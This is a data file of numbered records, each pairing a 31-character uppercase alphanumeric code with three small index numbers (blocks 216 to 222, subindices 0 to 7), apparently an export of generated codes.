+13785,OQL6WYT6XPSD58CAP63SGSVPUN44UUN=,216,3,0 +13786,F20I9TNPA5ZDW4Y41D5OOCG1C4AG0OH=,216,3,1 +13787,TZJNI8ITWQUBR0XNL5U0H721UJQYSDZ=,216,3,2 +13788,CLS2HBFY30IXUNXBG74TK3DAS7T7CKZ=,216,3,3 +13789,UXYFI7ZOQFJZ9Q8EY2VCGW1V1651BVH=,216,3,4 +13790,QFNW7TPXH4U3KIFP8VP0ZI47RFJRBGD=,216,3,5 +13791,LW5UHG2NYZWL5LX0TSKKJ2IM1VDFD40=,216,3,6 +13792,G5PZTXE37IUNAIHM6EUBYWQTISPENRV=,216,3,7 +13793,N9S0QBMB6F5JQ65KJ1FTOE16DVQ58VR=,216,4,0 +13794,E91564N41S91M4IPFZ8KE9VFF1RQNJU=,216,4,1 +13795,KHI33UQ6NW2YZ9B9FOKHI6WY5L2CIYG=,216,4,2 +13796,UIMQ8G4MFEALORCQQVCEZ8G6BW1III3=,216,4,3 +13797,UHI0SKNQI85WIPB1J7A8IQHL76FA53S=,216,4,4 +13798,JUQ0UQAL3HP5OTNKS98KLB01RRDLFLX=,216,4,5 +13799,3L9C05H060JXWB19K5LBF9Q3I50ZNEN=,216,4,6 +13800,0ZACJSDRBKNG4BQUI63T0KRVMQZG7PU=,216,4,7 +13801,R4K8TS7DKNSNYROH6COV9LGEVI7NF24=,216,5,0 +13802,WMDP0EVZ68J1EMJLNDXN902K0ZMG1X2=,216,5,1 +13803,V0YXDDIKADUAROYKGLIN3U5DE62KE3A=,216,5,2 +13804,E19XAR732CUFHRE9BKN6ETMFMEEPHJX=,216,5,3 +13805,YRNRQUD2QKK53FX6SG3P7X3EYEWGWEF=,216,5,4 +13809,ESRTVQQQ9MDIUJYK6IB2MBE0LH3WMQI=,216,6,0 +13811,T6LNACM4DPD3B2B8QJL90JLNAV5T65P=,216,6,2 +13812,OS0VMXWA0BM8W75EZRLS8AFH8ARRHK2=,216,6,3 +13813,PDRS7V49OTXL0G0C525X58GSK4ZCB03=,216,6,4 +13814,4FAXU3CLZLRQOJLWZS6SPS0F4F7KLA1=,216,6,5 +13815,PQRXSTE4KLRJRTSVEHQLYBAWT882R07=,216,6,6 +13816,YLVTOFF0K01BBDATKL8P8TF6FBWQ5S5=,216,6,7 +13817,GWKO0WIN6Y4O5TJRRM6ZJ52E84HYOWC=,216,7,0 +13818,FG2FOG6UF1TRM159TW3SMEVCNB9MQUY=,216,7,1 +13819,LPLM2QUZ39HBXVT80WHPD25OO16USC4=,216,7,2 +13820,48RBJF1DRLVBT1QXFF59FTI7Y9E5E3V=,216,7,3 +13821,5KV7CG6JTFSFQSFL4LFNYXKX4VM0C4Z=,216,7,4 +13822,TTDXA72IO6HY2SPDOJBQ8AJ2O3XOP07=,216,7,5 +13823,NRCVL5Y2MB95SXNQ0GGI1MTNVXCNI04=,216,7,6 +13824,YXH3MQFTL1YCBBAPT3QNHC3D0FMPWUL=,216,7,7 +13825,Q3E6ZPY3L89R6N3LYRG8KNKXUFO4LLH=,217,0,0 +13826,4JGG9NZL4Y2CKXSEYVQHTK79M9O3GPD=,217,0,1 +13827,MVBR8LORSMYLXQ15Q2CYY8BFHVNO02V=,217,0,2 +13828,9CIAE3G45VDN0A3AGQYBG187O9COLVI=,217,0,3 +13829,D17W5Q3RJIEXAXVWKXSR65LTWO5I7QL=,217,0,4 +13830,JLJDOPXHSJKA6SXO1PYCGZ8FMI1LKYP=,217,0,5 +13831,LQ9XM4OQ86R4DW369RR0HIA24V42TNW=,217,0,6 +13832,UPIAPCZ92W1WFW4M96AJPWIH2J97VBA=,217,0,7 +13833,UPO7B139Y3I7ZF9MJXA56IRZON8PX4Q=,217,1,0 +13834,NJPBF53FDSF8Z3SCHYAVDHIG8FXUFOQ=,217,1,1 +13835,IYB855L5X3TPRYD947GXWWIBMG28H18=,217,1,2 +13836,FKWZ096CEWOUT2NZ6J4ZSJA5WBDL3OM=,217,1,3 +13837,ZRBGQKIO3VHG2BP3SEVGL2C2FIMSXJP=,217,1,4 +13838,W61LBAYWYL54ZUIXNP07TWTB8NI97FD=,217,1,5 +13839,TR9X6QCVHSTUK6GPFXLLYSV95XOW5HY=,217,1,6 +13840,92PLVHLGLCJBG6S8253X94A3JKYK61W=,217,1,7 +13841,LDRGCIUR7KB0SC8H1ZRX5PSYU4D8Q7K=,217,2,0 +13842,MEDG639XT7QWFI5MPNJ6UMT2Z5JKWNA=,217,2,1 +13843,JU8KG63Q4LE4E3MMU7TDRN4OB3KH1HJ=,217,2,2 +13844,NCEOP4HC8KOWJJIJECSDS8VX8GJDPMU=,217,2,3 +13845,DOL1236FR8TEYTY3Z24G5EXQOVH6R52=,217,2,4 +13846,OX7KC6PESG91FQMJ6EEKS4MUNTKFK5X=,217,2,5 +13847,XQPWPSPZL4U1F8J2T63I3HA37WV6BH9=,217,2,6 +13848,FKNF1N8MVS8IQ5GTP8C5ET4WFSZ1K5O=,217,2,7 +13849,3LXIQWUCHL8C6Y9I7DGHU7H7S9V2X0U=,217,3,0 +13850,LTXVRW5QRLMNTJ8U8CHF8CQOZZXBXXL=,217,3,1 +13851,Y410US4EROUNPA20ADT5J4NF7Z5KYAV=,217,3,2 +13852,93601I2B363S2WWOFE1RJHQ5QOK99W3=,217,3,3 +13853,E0KYYSI28M50RMXO03HI2RKMOH2KE0N=,217,3,4 +13854,8M9230A2HQUYZSF40Y7VF8NECO71860=,217,3,5 +13855,Y3Y6FICG6DM2LV10PI2TAGR00B7YD57=,217,3,6 +13856,MSICTIVM02B3DGHPGQE0DMA79SBU5FQ=,217,3,7 +13857,YFS51O87W8LD10MCTGIZBE6747H27K9=,217,4,0 +13858,IHSO9JQEQZEWP1O50LZHFE7923HU1C1=,217,4,1 +13859,0D915Z9P3BUUCQ3H8G4F66SVL7XXAQL=,217,4,2 +13860,3OW3E13GCN1SZXU0B7KLENANY7WG84B=,217,4,3 +13861,8ZPIWV2FTU35ZJT4296MAFFVK168IV3=,217,4,4 +13862,KR3QFCQTWW6KK2NOB6Y72VW35T61R5E=,217,4,5 +13863,67A7FWDPF5XSF986ULJAYR72ZTM9CLM=,217,4,6 +13864,IB0SFHCV342M8KYRKHCA3J19OIEA06T=,217,4,7 +13865,AXYQMWY8H8SXX21JVJKGOIW1UCNJWTN=,217,5,0 +13866,MHR8FP26NZXU0DNJCPRCEN50TXD8LYW=,217,5,1 +13867,I2T3274PX6XZELUQCDMCNSMST5VNXB7=,217,5,2 +13868,1GV5P5ORYTLAVOGP8VR9EX38RVSK7NZ=,217,5,3 +13869,AWUFKZWAISA7YL7TBMIEKX1KG30GDK2=,217,5,4 +13870,A2FGNQFHAI1UK0LHWK0NVQAW8H3IBB5=,217,5,5 +13871,BEJ606QJPKHUCLR28EIR8260AHYNJJU=,217,5,6 +13873,49LCNTJPXMGLM4AA88YTTMWQC4IJ79R=,217,6,0 +13874,EKB7RKOO2ARILJBVKSE8UKKG6LM7QV6=,217,6,1 +13875,WAPW54R9KHDEQ7YDXWIMNUYDIREYUBI=,217,6,2 +13876,JAK3BNBBBEGWD5VBGX6UUHVPX6IV4Z2=,217,6,3 +13877,P4N87060XPFOOJQHFREZUGS357RBAZ5=,217,6,4 +13879,SYMTB8EDJ5L9IP70WQM1FLSADDAK99M=,217,6,6 +13880,Z9OJ3IBH8ZT7VM2FV870RDP75FJIM4K=,217,6,7 +13881,488OVU2R72YL9HJVSRXHFHZ29THCJBE=,217,7,0 +13882,RQ8HHJ0TDCS7ELIMZ4CPAIUYU6WK1J3=,217,7,1 +13883,5KZMGC0X58J8TWEWOJBPHCO2ZQMZ8L0=,217,7,2 +13884,1VRKUSHJG3IGJ9NJBSWPAQ7Z3HRHCLF=,217,7,3 +13885,VDALELONNYJ0IUU1OIVOQ0UQV18MU9G=,217,7,4 +13886,RSE4EB483NZ3RPJYZI4KG64J1IMX2KO=,217,7,5 +13887,WTWVUQSM5OSJIDM445H5CW3AX1QR8Z8=,217,7,6 +13888,9I11EYIZ15I5TYZWU0BMGMLG6HXXOWN=,217,7,7 +13889,6OQBLRANLEST5682T3FR8BFB71QUUIW=,218,0,0 +13890,SSP0RVGM12EVNF42TE1B68K88JH5ZID=,218,0,1 +13891,8JBOOXWB6I4G2GD312JKBDPE0K9HJFL=,218,0,2 +13892,GNKO4QAF3TNFE1XCZS3NJF6F2C6D8PB=,218,0,3 +13893,S6LE8RFUZ8OFHB70OOLU7WOLDIRZMMF=,218,0,4 +13894,AUU51BBRN0POFXPJAZORU1OQPT97UVF=,218,0,5 +13895,XKNYOY03K74TE6T21JVYACPWDRFU3J5=,218,0,6 +13896,8CUAE1V39MB8MFYMEX2LG7GFDV8QTK7=,218,0,7 +13897,LQVDKYW5DRKTBHF7JIPB3U8D9PXBOYM=,218,1,0 +13898,0GA02PFY46GZ8H4RDS6JPP5P9UD4EG9=,218,1,1 +13899,0MJHEOSAPFPXFL74UFNI3J8RAZVDTVS=,218,1,2 +13900,RITEDUZ8RHWZRGRTF4QFIR9QXZA6L4J=,218,1,3 +13901,ASD7G1OF8QMWSBIGW599Q049UWF6578=,218,1,4 +13902,MV3FC96UNZH42S0NL9SS9RVU9TAYQOE=,218,1,5 +13903,2WGEQPBW4YYRPEUNYVNJU812X47LN6M=,218,1,6 +13904,A4AKQP6JFLKJLVHYAKH1HA7B0B1DGOB=,218,1,7 +13905,32ZW97E0DSIWTZLFU8YQ4LQG7EMB46P=,218,2,0 +13906,94HWNJTWUHC9Q1M1DKDBXXQOIE2IJCT=,218,2,1 +13907,LGL2PGOAI52MN68LPQBN60R1F62UD9Q=,218,2,2 +13908,PB1S6S594ZGYAV8YMCOS5DP77KQWYDS=,218,2,3 +13909,HYVDJPWOY0M220KJ7M24BAM1K022J10=,218,2,4 +13910,D0FEEF5BKF88N7BJMLZNC5B70IGM3BO=,218,2,5 +13911,QUHB38AC9YWQ9EXBSWX0RR2Y999LFJE=,218,2,6 +13912,71I2YQW8XP6U9R1A108BE3DAAD8Y00I=,218,2,7 +13913,3WARWIR0BDEI62K3VE3D1PQSJPJ78ZA=,218,3,0 +13914,7RSHLSV5GEA0N5Y06W9U8ZWM90GGEKV=,218,3,1 +13915,JYBB934MFKVJ3HCG2VK8KI6KVU7I6UF=,218,3,2 +13916,8MKFBVMS5KTJI6O53X36SVAX31E5IW5=,218,3,3 +13917,FIT4SQUBQ668BSXJI40FHAFDU5O37Z2=,218,3,4 +13918,9XKDQHNVLMAJ73QR5JO1LQP525WZTQQ=,218,3,5 +13919,OOUKT6LVCKWKTQWQMRRZ3ANDJKV9BFM=,218,3,6 +13920,2TLN83QPGD1QL9MHBT4Q5E4CVS2KETW=,218,3,7 +13921,ANFMIWNQXEI6XKPY9B00VA0FN2SNZCH=,218,4,0 +13922,IB23B1PDL0LO742R4G4YPDW2VZ6K9TY=,218,4,1 +13923,YIBFLSFM0OE4Z11GP89G3ZBZCSR8PBW=,218,4,2 +13924,2KJ9V8UK9Y1ZYDGU1DTCDYREZX5DVWJ=,218,4,3 +13925,2ZBFEBS59YGRTVKMQHP8XU82ZTWQO5J=,218,4,4 +13926,U68BYZT6I91X3HM3EXMR78Y3GVQMM2I=,218,4,5 +13927,DZCM23C9AQAOSPIIU7S2ZD57B6WO5UT=,218,4,6 +13928,NEW0OA6XKG3Y4KXXGY11BQGQLYGFI53=,218,4,7 +13929,PJ0ISKEJ9ZMGP4N8LJ3JIYT8F5GYEYN=,218,5,0 +13930,CH7YSG3EV3LQYD34QEUMQMKZB2X529H=,218,5,1 +13931,25Z3BOMBLWQ76KK1IFDFU2UWXO3RALH=,218,5,2 +13932,T3AK3C7P11V9VHTTTAEQO9EW3T6JWYX=,218,5,3 +13933,PKVSHES5OB2FW328O5NDXWVQW2WLXK6=,218,5,4 +13934,LH43DUSUG2XL4QPMXKZ7QU9ODOIXPHT=,218,5,5 +13935,F2Y9MAO50BYVAZ1EYRE0Q5OBJMTBCS8=,218,5,6 +13937,8LYOVWVM56SMLGSI9FRWK0S645TCPCJ=,218,6,0 +13938,8VKBDJCBI10CXX9XKBC4BO3C4RLRZ7O=,218,6,1 +13939,1ASVVWZOTVB6QT0DIG2HDIPRE0YYFUN=,218,6,2 +13940,8SEPJ49D4V1LV3G84N3GZKCPJCOZ3JA=,218,6,3 +13941,C4HJSBY21GF3MN1T64B13JM9WBCFBWN=,218,6,4 +13942,8QRBGJ22BXU10R5DIU5KAP7KKTBH7UL=,218,6,5 +13943,MFOXSPOC1YPY2PQVTYWJCKDYTBI5HT9=,218,6,6 +13944,MP5W2SJ4YET0AUOTWSS0R6C3DVNSWZ8=,218,6,7 +13945,QP9L2RG62J2SJ25E8MK90AS7XGX5ZOM=,218,7,0 +13946,TXQQVMAQTI29NJG5YESV15XAHOBFWBK=,218,7,1 +13947,J350832DDSM9O8WR9JQZBSQMYEP33E7=,218,7,2 +13948,F56H1QEQ086DH195GX4C71KY1YHW4B1=,218,7,3 +13949,RMFVJ3YU8TDZLKN885M7ZAHQY47P5R0=,218,7,4 +13950,WG4EXHFSRQZEVGAFUJHPVP7NIC6YS1F=,218,7,5 +13951,HB5H1RWULS6ORT1OZC23978SQDXNX0M=,218,7,6 +13952,WJJS24QEZXIU9CLRPKJH4LI4R3QW8ZV=,218,7,7 +13953,DNKPFKMDO14QPQ7H9WXNTEXF1BF9SQ7=,219,0,0 +13954,0QA5KFCXDXAZO8CFONFBK1ZCBD4DNOF=,219,0,1 +13955,OD7CWXY9TWTX1ZYTRGEUMG0R3GYW2X6=,219,0,2 +13956,OAZWW59TD0LFMF1HKO5PCCBWQ5XJRCP=,219,0,3 +13957,XVI5NFW7Z85R92L0T7VINR1LOZAPWDJ=,219,0,4 +13958,3XC2COORIPOMWONSXQVUZ03SMBE72RW=,219,0,5 +13959,U0RJAFWSFU0R3C4UTBT88482XGL8ZXI=,219,0,6 +13960,7V1IULQYUIGCQKH721Z2N04N8XA2Y0Y=,219,0,7 +13961,F3WRHLA9FOLDVRD9XLV79XMC9698R5W=,219,1,0 +13962,9DNB88O9T3O97M7JMO1AXTAF16HZ6F9=,219,1,1 +13963,QG5T88L1BN3L722O9UUF6IYVCCMK92Z=,219,1,2 +13964,PY3VCPQQZKM5QFZV5CRGGJ6QRYELNY9=,219,1,3 +13965,XFI2YV2NKEQOV98NMZFIG93LI6T0HSI=,219,1,4 +13966,EKEZDE7GE7VA71TXE9J6MLHCJWSZRM1=,219,1,5 +13967,AJEHHM0JXV8J62L1JU30JL643GPLLDU=,219,1,6 +13968,KTDNJ4LJ7LRH6IBY5KUHCBXAK6M37CF=,219,1,7 +13969,VEN3H4X00RSE83ZM2BYCC3G7UPQO1NB=,219,2,0 +13970,Z0E1XI4YRZNCXVMOI8S26SYOAFKC7MZ=,219,2,1 +13971,EGRCIJ08Q4CUS51LLH5MOTE6TGKFPQI=,219,2,2 +13972,AW7OAS8XIQVALKQ05HREJIIE3U6CIVJ=,219,2,3 +13973,45MVLKQJENMHG7C9G8Q5GU0T9PLXNH1=,219,2,4 +13974,4J5POOE3ZBHYLJC2XO8ZS7Y59WWWVAQ=,219,2,5 +13975,11KEEYHLI5P31QMIBII81OL3PYC083P=,219,2,6 +13976,OSISTX84ZQDE69BC724OSCOHN89BHBM=,219,2,7 +13977,C4CRM8S3R0QYLG8O2B8ELL1YSB5DC0C=,219,3,0 +13978,1636Z5PGA3LDM81MXA3PHGT0J0I2SVO=,219,3,1 +13979,U45A88TS97H2GX3W1JSLAOPG9H0MFYV=,219,3,2 +13980,SLYQRYLXVOSR5EZTWEPVKLC31BLMAVV=,219,3,3 +13981,L961PGY2EDBU7CLG3FPTA3MA90XX5J6=,219,3,4 +13982,JR8PJ58M307DVRNG2MNTZLE1781LPZ7=,219,3,5 +13983,IZPD3K0TYXZ8L8XTB119R1HV7GXZG54=,219,3,6 +13984,VF2O2FDVNWJC9ISAIPPRWGC25QB845X=,219,3,7 +13985,2HQI244KBO9RES293ZVD5A7O1VNDKQB=,219,4,0 +13986,NZ1TUFIA5O6PA9Y020XDLQ740R9U9BV=,219,4,1 +13987,JY884Z15R4720C1A0TOPX66UHBRHEWK=,219,4,2 +13988,AKS9WPMRQ3KIG307MJJ73O9P35R41E6=,219,4,3 +13989,DN62VDGKDTP5NPUZ60MYZS4NL71D6LH=,219,4,4 +13990,E8EOMZRPU7NDZGYDZCFSCVQ0CI08RVN=,219,4,5 +13991,G4J7LUKBP4CDKYUXTFAR5SOINHWJ7NK=,219,4,6 +13992,AJF1V9RJBSQZ9U1QXNUUCTWKW87B8DD=,219,4,7 +13993,JZK60Y8VU5RCXWHN5YRCI71D2Z9C122=,219,5,0 +13994,BJIH5AZEHJNB1YPR5BN7FS7UMD8H6HK=,219,5,1 +13995,MO3IKAPF3DNLZMXQ8V4GG3ER56PIGUG=,219,5,2 +13996,YRYC32NRXUYI24MU22LM269HRKN7ANF=,219,5,3 +13997,6KQF2PLVKIJAGXN2F198GB31QP0PYIS=,219,5,4 +13998,YNIUFL5793YFWDR1N4H8CB534JJ5K85=,219,5,5 +13999,PYUTFLM91OCCAKGCKWS911VAFRVKDYS=,219,5,6 +14001,IULGQIMEQW070S1CPFC9FAURQJZP30G=,219,6,0 +14002,JQPZG09RRPXZLNXC8IDOKFKSWCZIY5W=,219,6,1 +14003,9NS3TEA7PSV0TCKUVYU4AL3C9WXEYUJ=,219,6,2 +14004,JO07J4F0B57JWKO7QOS6UMIXYSQ12B0=,219,6,3 +14005,PWPFUQQ8PGDU3G2CP2WZFDE8ET2HXQU=,219,6,4 +14006,1L9J1QH47O2K2VKB29RHMFLGNBT0R1W=,219,6,5 +14007,MUZ38SZZJUWU79JSMPOVUJNWDHF4O28=,219,6,6 +14008,HD18WV5U5Y5F0ALKIXT8XI0CX9L96MW=,219,6,7 +14009,PKMS6GWC1JTXG25F4QKV9PM364W9WX2=,219,7,0 +14010,RIH3YAMLIWPJ12OZVM9IE9PG0EAQJ46=,219,7,1 +14011,HN3GXYP0O2VY9Y8A6OSAKT8FJ0NTN1S=,219,7,2 +14012,KA87MJ0RRG9J2D6JX5JLVK7R2SDHO4Q=,219,7,3 +14013,5P96J6PL5BFQ824HUSQ004JQ3OU9HGE=,219,7,4 +14014,5GOQMOOB8EENX9V71D0IFLPPMFJXI8N=,219,7,5 +14015,XCO0Y1EGDCDRGXQLM35Z3ZM9RJIVKVD=,219,7,6 +14016,JYGCKL1LEBLYOK4HELULFNBEXVZQ1ZN=,219,7,7 +14017,W5UIC1208Z99L6Q100U76O15MNCBOZ0=,220,0,0 +14018,VP7OFMQRWTYEIVQJHB87HUJ5D11SE1N=,220,0,1 +14019,961JGD7X7AVQ7ITIBO9TQXF11AZ9RXC=,220,0,2 +14020,7ZL7TM77SGYW39JJ9YESHNXTZSBCH43=,220,0,3 +14021,8GIGUFBMAQD8EYPIJK5TNVXF4VO6CAO=,220,0,4 +14022,FI9VORNX36RWF8AX74F90DYVSF1NJRI=,220,0,5 +14023,636C763NQOSZS3BRC2L1D3EDVFJ3EJS=,220,0,6 +14024,2R0J0PRXJZ9DMSPEY0BYP0MSF3WQKQ3=,220,0,7 +14025,VIAJU0P6U2F7OPY1DV4PUMEP039B3G2=,220,1,0 +14026,PFJG4U1CHBOBECPNN440XA3RP9V1EOZ=,220,1,1 +14027,HC9Y63QZM4VD58A9CQC3YZSQWFH2Z9A=,220,1,2 +14028,YADFN572F6Y9TFXECQ01VRMDADNYG8P=,220,1,3 +14029,2X78YAAY4JUYEANCTVLSXT0ZNUWXO83=,220,1,4 +14030,MY9LDWH7UG8B85I2006ZELLLL2BMHUJ=,220,1,5 +14031,Q19WTZ44LZLT6D407X9JU3LZSMUNMWZ=,220,1,6 +14032,FKAHXUSNCZP7EOQ7FZIO1NLAE1Q465K=,220,1,7 +14033,KUNRYX46OJZP22X28Z44SVPFA4ZRFAI=,220,2,0 +14034,25370YB3VUHRPC51PRO5SKZ7T19I8R1=,220,2,1 +14035,SGF4G7J0ZT2M843LQRI1UQ0RR1KWBMQ=,220,2,2 +14036,WYUU9E92YX3H1IJ4SMZ5I9069SHCPP0=,220,2,3 +14037,ULZLH3KR471101MIR31RKI2E8KE8F3T=,220,2,4 +14038,K21JK5JKCKLIMB8DP12VHC6X9JVCN9W=,220,2,5 +14039,NI8BDWWABOI39JWF9ZG76HV63VKIF4H=,220,2,6 +14040,BW2KGYLOIIA056I9XHYL8T21VINZ17T=,220,2,7 +14041,M1YMLX1G20C07HKRVE93LUT18DVZSCT=,220,3,0 +14042,OB0K6UP80518ZN5I4SA905LWDADQRY7=,220,3,1 +14043,FKH75PB89OZDITVNK0AIUPCKEECDBQQ=,220,3,2 +14044,1ETHB9X9FIAHDN2M92TS87G986JOZEW=,220,3,3 +14045,OHXLP0M1J8FAA2G19POM7QP5IUO721E=,220,3,4 +14046,BP07HD89BBKUSF4J3XT3GAFYKSJ76GC=,220,3,5 +14047,IT5QYT62OB99OUXX4E867R7V55NYYP0=,220,3,6 +14048,4AYVV08ES2DKOX6CQN9KJDMQHQDHIX0=,220,3,7 +14049,8MLUKJB7LPFSQAWFQES2Q6YC6FZHCGH=,220,4,0 +14050,H6G9VSDU27L4L186W7YX6JJEMG7P1SO=,220,4,1 +14051,OHFEST0DP1ASG2IWNFHZM0A1TFU2CZD=,220,4,2 +14052,FKHKTT5TVHCLI4I4Z3CIYWOCRK8WVF7=,220,4,3 +14053,9FJ27WT96ROKFIDLTL5VUYXYLKBT7V0=,220,4,4 +14054,18FWXSNFWMBR3FY8GS8XN2039WRIDN9=,220,4,5 +14055,VE5I1W8XMQIBFOQ1727REPW51R1L3MA=,220,4,6 +14056,JVQIC4D0SGYQR6Q7UWNVI4ZARXI8ORC=,220,4,7 +14057,DO0931SH380VMSLB5PJG3NYLZ0F9SWX=,220,5,0 +14058,BNLIW695CPLFGX2Q3UK09QHGG2N89EL=,220,5,1 +14059,A86E5HLQVRQHJTJLC9C5B5KXB26H1EJ=,220,5,2 +14060,CPN02E3UUMH20YK5PAQY3Y4IK5M1ADH=,220,5,3 +14061,PPYQGOXOY4Q2JAIYUC52R1Z00FIQ27G=,220,5,4 +14062,XNL1MA5PKSQFYL5CAXRTCSGXTNUO5FY=,220,5,5 +14063,KW56AYF4RM9O4ZR12PYFUP7UVVH235S=,220,5,6 +14064,3YB4816OL0MWPJP3CV43FLBR0HOMTHQ=,220,5,7 +14065,CDOXXBEVWARFWCJ7C7V8FEADRMFLDCG=,220,6,0 +14066,PHIYQBLAE0S88MEQ8ED8JP2BQ5WSSP9=,220,6,1 +14067,94I6OKMOX8XA09WMKG3QVW33LYY9KFH=,220,6,2 +14068,G5ZY1URZ1ZFAXHOWVFPY99PERGKSFVQ=,220,6,3 +14069,FX8R7090ZMKJ75D4W1IDDELRTU8RZAZ=,220,6,4 +14070,697D4MU6WQNXIBAIWMON75Y9LT7G1IH=,220,6,5 +14071,1IEQUXLTR96B7OUS0CCVCVKDHBIG36B=,220,6,6 +14072,RFPSW9DX1KL35NTV7P9W2CCEATV13DZ=,220,6,7 +14073,V7DOUTC1OMB1IQ5WEC50NPPBK7KF6QK=,220,7,0 +14074,QFYCZ7OD9H8U94O5FQDJJF5RBOX4GKS=,220,7,1 +14075,0UXHRD83D1ZEC2UC5UHYAN4J47XFIGI=,220,7,2 +14076,P87I3XMV6X7H2X9HEYLIR83L6YAKG87=,220,7,3 +14077,SAH0G8W598UUSR395WXFZIN6ADGR9V1=,220,7,4 +14078,B5EDB8PYI32OYS0A6PLKCZCWXH3CZG8=,220,7,5 +14079,3IV8JV7IMEF4YW96YBMME418UI3VCAX=,220,7,6 +14080,2UYMQ33JS2T52GASDDNTJMACJA6T15Z=,220,7,7 +14081,LMX6EFCQ5K346I4P0UNYX4B7TMS39W1=,221,0,0 +14082,7GSNME1ATJ0K0FWR0LYAJ5CSWCMMT7R=,221,0,1 +14083,7CGXVARISJ4145BLRR6B1LI0HT3YLG6=,221,0,2 +14084,IY9ZAKPWGDEQQ1VYR6NCWQ5M0OF66YZ=,221,0,3 +14085,H91CVYJLIQMPI85RNOAWTSABWG61IOO=,221,0,4 +14086,3BJXNPLQFWWHZN2BGDQVPCT27J5KQWW=,221,0,5 +14087,XGQIMVA4JHLF7240W722MZ8HP96OSNH=,221,0,6 +14088,7O1X9FKZORPRVEKSGRFWUGXJT1UPHEV=,221,0,7 +14089,SHQBSYGQH4RORKSQ99BJ28YFGGE2IHX=,221,1,0 +14090,66VCNVQ3P6TX46SM442BL3MW66PEG47=,221,1,1 +14091,E2XGEBWJLWCP7ZJBMSCKQUEEHF2YR37=,221,1,2 +14092,ZHA9NWRND9NOF4L1REJOJXGBEWVCRZC=,221,1,3 +14093,M34LOYKI9GU0B7KICKVU8UE2LKUTJE1=,221,1,4 +14094,4BV2OY55RYFOOAV0J7D1QOHVG5XZTE3=,221,1,5 +14095,TE2XVAY0VHLOZYLA3MJAR2EPG51SU36=,221,1,6 +14096,FFNZDAWJRN2XOR1MNN5UISMM1X7HBMK=,221,1,7 +14097,LEAWBL5AZ48HGM46W58EVFEKOJNOVHM=,221,2,0 +14098,K6Y4VUPM3PRUPLEXAGJK0OY1E3QJ3PR=,221,2,1 +14099,2RPTJCUN09PKPNU00LPQTGAIQ8MNA39=,221,2,2 +14100,S5E6OT0MA03AMS62H2QRVD9C5ZTCN9S=,221,2,3 +14101,23TP6KGLA1GT795O3EKYUQCKV0Z7OLU=,221,2,4 +14102,BU58UJCG7D5OEGF745D5X5EF26SKWWZ=,221,2,5 +14103,FB9MCG0I6L6QGGWY2HBKOYRITZ09Q43=,221,2,6 +14104,GZRWYUQQ9W7P4MHYYD3DNX7AWLIFXI6=,221,2,7 +14105,STQWO9CV74MZW5TJZ5RWDCUHQH0J95N=,221,3,0 +14106,1WN4ZJ7VB06A9OHVHOJGGJYKT05D89P=,221,3,1 +14107,03CXVTDLICVN4G4X78JWBFVFBW93WCX=,221,3,2 +14108,AE78M2YTF6Y3PO2LIJVS901FHH7XLD0=,221,3,3 +14109,08JHWX9PQUIH4GBJ05C2A75GGQA2XWE=,221,3,4 +14110,MGXYSNLWLTV8GT1GWTS9Z0MIPJOYXBE=,221,3,5 +14111,ZTDMO0TUSJQ40UVOFZB3O45G4I6UBW3=,221,3,6 +14112,JOYFZGCNP6BVGMITHC0Z4P0MOEECWUD=,221,3,7 +14113,LIJPPMG7N74R7VMWK23ZIE4FEPO7QKG=,221,4,0 +14114,KGGR5H6OE7HQ8SPB3FCCD1B9UP93G16=,221,4,1 +14115,FSWX3F7UOEULOI5C1NYZFABSMAX56D1=,221,4,2 +14116,W1JGK17MO0MSUUZGUQ7T990O9RKTU09=,221,4,3 +14117,B7I6XNJ9IQ6HOH41J7RKPBP7FNE3TX3=,221,4,4 +14118,OGVT2XC8CVO72ITPVTPJYE25W4I1FBG=,221,4,5 +14119,JG4Q68DAO69Q04YVCRU28DE91NQ6EN8=,221,4,6 +14120,9NFYXMXO1K5H4VFVCTSE26MLYVSXH87=,221,4,7 +14121,6JRHXEZN8A8O3Z7H23OW1M3UFHYSCWV=,221,5,0 +14122,PYX6RO6R1ONA9IMGH0VQSIJ96G7KB8M=,221,5,1 +14123,MY8H7UDL2QYCKF4N7I8JI9MX4I2CQX2=,221,5,2 +14124,3MLNOEXO411LU5JJLV8FGKK8OSYXNPH=,221,5,3 +14125,79YZV0V8AZ4HT8N4FAQSMJVXT59NEJX=,221,5,4 +14126,U71ASO8SRWSORZS1YLQAHAXB0E4CKFS=,221,5,5 +14127,31KOARBG6YCOMZEYD2VYLEG8DWQRRS4=,221,5,6 +14128,2Z70DZ9TCRSBDMUWBDK7KG4RC7AH8XE=,221,5,7 +14129,1TL5OAHAVD5TW7KIQQI694KW7AQK0B6=,221,6,0 +14130,0P4YFOD0E2KK6TVS1U4NP9CW1GUD4IY=,221,6,1 +14131,MV64MRZBBXQVVRT73ERQ647SWZUVZGJ=,221,6,2 +14132,H8FZAXLVMC4XLVIQPJF5V80HA60W7MZ=,221,6,3 +14133,86N3WR0GBQAM3MRJVE7986IJWR47RPO=,221,6,4 +14134,COZEWK4HJ89E4Z427JS5IY4DTT2SW86=,221,6,5 +14136,2M9WWHK7RRD5UEVJNCVJHJ6PHWNTLF5=,221,6,7 +14137,87MLMXSCKFJ6LQ245710SHYV3KPX48Z=,221,7,0 +14138,9HG07XS3JY94H3IUE2NXFWRROD4PXSB=,221,7,1 +14139,9013Z1JMI1ONVFZ68YECCEAFOPXH5DQ=,221,7,2 +14140,IT2I2J8V7Z62J7NBKAM6ZF0UPG52EZ9=,221,7,3 +14141,18KV6KE59DDKB3L81A8EPSEBEOAIO8F=,221,7,4 +14142,WCAWLA42WNSBJS603TPPN26TZ6SYBIF=,221,7,5 +14143,N44QFY8ZPPLXDB3AM28DD7K48VTX9CF=,221,7,6 +14144,P1ZJBKMB95RZPMLWYXREWH2GPZ78LXI=,221,7,7 +14145,BVPQWYS6ON0K4M76CHZPXBEYA57EGV3=,222,0,0 +14146,OSTGBOX360V0YM43PYOSONBJCTMK1CB=,222,0,1 +14147,TOVXVUJEF1RV0CMP4TH239ZJJRLJKLQ=,222,0,2 +14148,71VYKNC84A8YZAHIO8RJETD08NE81EN=,222,0,3 +14149,GL566TAGJ9XPLF37PLEE7B7Y0Q33MKF=,222,0,4 +14150,DLRK6NUEG7CIP1I63T8ADTBOZLHAQJI=,222,0,5 +14151,J3ZOWEQT52281616858FJROQJLPUIJN=,222,0,6 +14152,VDXGAO47VO7VC2CA8HR21C1X4B50O8M=,222,0,7 +14153,07QGV01J7NZOBCEXVO9UEKJRFUAGGSF=,222,1,0 +14154,0IDVI9AAMN5SX3GQQFUV55GFRHB7FOT=,222,1,1 